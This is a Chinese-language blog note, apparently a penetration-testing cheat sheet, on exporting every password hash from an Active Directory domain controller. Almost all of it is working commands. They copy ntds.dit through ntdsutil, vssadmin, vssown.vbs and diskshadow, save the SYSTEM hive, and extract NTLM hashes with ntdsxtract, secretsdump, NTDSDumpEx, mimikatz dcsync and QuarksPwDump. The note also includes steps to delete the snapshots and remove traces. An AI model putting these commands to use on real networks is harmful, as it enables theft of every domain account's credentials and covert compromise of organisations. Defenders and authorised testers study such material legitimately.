导出域内所有hash--笔记(建议收藏)

简介: -导出ntds.dit(域控服务器上操作):存在域控制器的c:\windows\ntds\ntds.dit中。

-导出ntds.dit(域控服务器上操作):

存在域控制器的c:\windows\ntds\ntds.dit中。


1、ntdsutil.exe提取

①创建快照


ntdsutil snapshot "activate instance ntds" create quit quit


②挂载快照


ntdsutil snapshot "mount {快照的GUID值}" quit quit


//挂载之后在当前目录会出现这样的



③复制ntds.dit


copy C:\$xxxC$\windows\NTDS\ntds.dit ntds.dit #xxx这是挂载快照的时候给出的,后面再跟上ntds.dit路径:windows\NTDS\ntds.dit即可,导出在当前目录下

//复制完成会在当前目录生成一个ntds.dit文件



④卸载快照并,成功得到ntds.dit文件后,就得开始清理快照了


ntdsutil snapshot "unmount {快照的GUID值}" quit quit



⑤删除快照


ntdsutil snapshot "delete {快照的GUID值}" quit quit




2、ntdsutil的IFM提取

①ifm方式提取


ntdsutil "ac i ntds" "ifm" "create full c:\test" q q

会自动将ntdis.dit复制到c:\test\Active Diretory\文件夹下,将SAM、SYSTEM复制到c:\test\registry\文件夹下


②将ntds.dit拖回本地后,将test文件夹删除


rmdir /s/q c:\test



3、vssadmin提取

①创建c盘的卷影拷贝


vssadmin create shadow /for=c:


②复制卷影


copy \\?\xxx\xx\windows\NTDS\ntds.dit c:\ntds.dit


③删除快照


vssadmin delete shadows /for=c: /quiet



4、vssown.vbs提取

①启动卷影拷贝服务:


cscript vssown.vbs /start


②创建一个c盘的卷影拷贝:


cscript vssown.vbs /create c


③列出当前卷影拷贝:


cscript vssown.vbs /list


④复制卷影


copy \\?\xxx\xx\windows\NTDS\ntds.dit c:\ntds.dit


⑤删除卷影拷贝:


cscript vssown.vbs /delete {ID值}



5、diskshadow提取

①将需要执行的命令写入command.txt中,内容如下:



set context persistent nowrites    #设置卷影拷贝
add volume c: alias someAlias    #添加卷
create    #创建快照
expose %someAlias% k:    #分配虚拟磁盘符
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit    #复制ntds到c盘下
delete shadows all    #删除所有快照
list shadows all    #列出所有快照
reset    #重置
exit    #退出



②使用diskshadow.exe加载执行txt文件内容(注意:diskshadow必须在c:\windows\system32\目录下执行,否则报错


diskshadow /s c:\command.txt




还可以通过以下方式提取(后续发出补充文章):

6、Nishang中的Copy-VSS.ps1脚本


7、PowerSploit中的Invoke-NinjaCopy.ps1、VolumeShadowCopyTools.ps1脚本


8、MSF的psexec_ntdsgrab模块




############################

成功提取到ntds.dit后,需要将SYSTEM文件转储,因为system文件存放着ntds的密钥,如果没有该密钥,将无法破解出ntds中的hash密码,命令如下:



reg save HKLM\SYSTEM c:\windows\temp\sys.hiv

或者通过前面创建的卷影,复制SYSTEM文件,和复制ntds一样,更改为SYSTEM的路径

###########################




-获取ntds.dit中的所有hash

1、使用esedbexport和ntdsxtract

①安装esedbexport



#安装所需要的依赖apt-get install autoconf automake autopoint libtool pkg-config


#安装libesedb





cd libesedb-20200418./configuremake && sudo make installsudo ldconfig

安装完成可以在/usr/bin/目录下看到,esedbexport



②安装ntdsxtract



cd ntdsxtractpython setup.py build && python setup.py install



③提取ntds中的hash

#利用esedbexport提取需要的datatable和link_table


esedbexport -m tables ntds.dit


#会将生成的表放在ntds.dit.export/目录下


#利用ntdsxtract提取ntds中的hash

首先在ntds.dit.export/目录下创建一个output文件夹


进入ntds.dit.export/目录下操作,把SYSTEM文件放入同一目录




cd ntds.dit.export/
dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user.txt


结果会全部导出到all_user.txt中



2、使用impacket中的secretdump.py


python secretdump.py -system SYSTEM文件的路径 -ntds ntds.dit的路径 Local



3、使用NTDSDumpEx.exe获取


NTDSDumpEx.exe -d ntds.dit -o hash.txt -ssys.hiv    #-d 跟上dit文件,-o 输出结果的文件名,-s SYSTEM文件,完成之后会导出一个hash.txt的文件


完成结果:



4、使用dsync

①mimikzta

1.一个域管权限shell下运行:

全部hash:



privilege::debuglsadump::dcsync /domain:hack.com /all /csv


指定用户hash:



privilege::debuglsadump::dcsync /domain:hack.com /user:test1



2.在域控机器上运行mimikatz:


mimikatz "privilege::debug" "log" "lsadump::lsa /inject"    #查看log文件中全部hash

mimikatz.log文件中就是所有用户的hash



②Empire下的Invoke-DCSync.ps1(后续补充文章)




5、使用QuarksPwDump.exe


QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\sys.hiv -o c:\pass.txt


pass.txt下就是全部用户的hash



6、使用MSF

post中的domain_hashdump模块(后续补充)

目录
相关文章
|
7月前
|
前端开发
Antd中Table列表行默认包含修改及删除功能的封装
Antd中Table列表行默认包含修改及删除功能的封装
173 0
|
存储 设计模式 缓存
C# 实现 key-value 结构自定义缓存 CustomCache
C# 实现 key-value 结构自定义缓存 CustomCache
188 1
C# 实现 key-value 结构自定义缓存 CustomCache
【Word】利用域代码快速实现自定义编号
【Word】利用域代码快速实现自定义编号
236 0
|
存储 SQL 分布式计算
导出 Export--默认模式导出(Insert)| 学习笔记
快速学习 导出 Export--默认模式导出(Insert)
224 0
导出 Export--默认模式导出(Insert)| 学习笔记
|
存储 关系型数据库 数据库
Data dictionary header(2) --系统表空间结构(三十四)
Data dictionary header(2) --系统表空间结构(三十四)
|
前端开发
Ember Data 之记录操作:创建、更新和删除
前面在《Ember.js 项目开发之 Ember Data》介绍了Ember Data 和 《Ember Data 之模型定义》、《Ember Data 之记录查询》,本文将继续介绍记录操作:创建、更新和删除。
145 0
|
JavaScript
el-table分页数据+回显+勾选状态+记录数据(map实战)
el-table分页数据+回显+勾选状态+记录数据(map实战)
909 0
|
NoSQL
随笔:sending data状态包含了使用内部临时表
这是一个我的随笔记录,这些过程非常有用,也非常明显。 欢迎关注我的《深入理解MySQL主从原理 32讲 》,如下: 语句如下: mysql> desc select id,count(*) from t110 group by id; +----+-------------+-------+...
904 0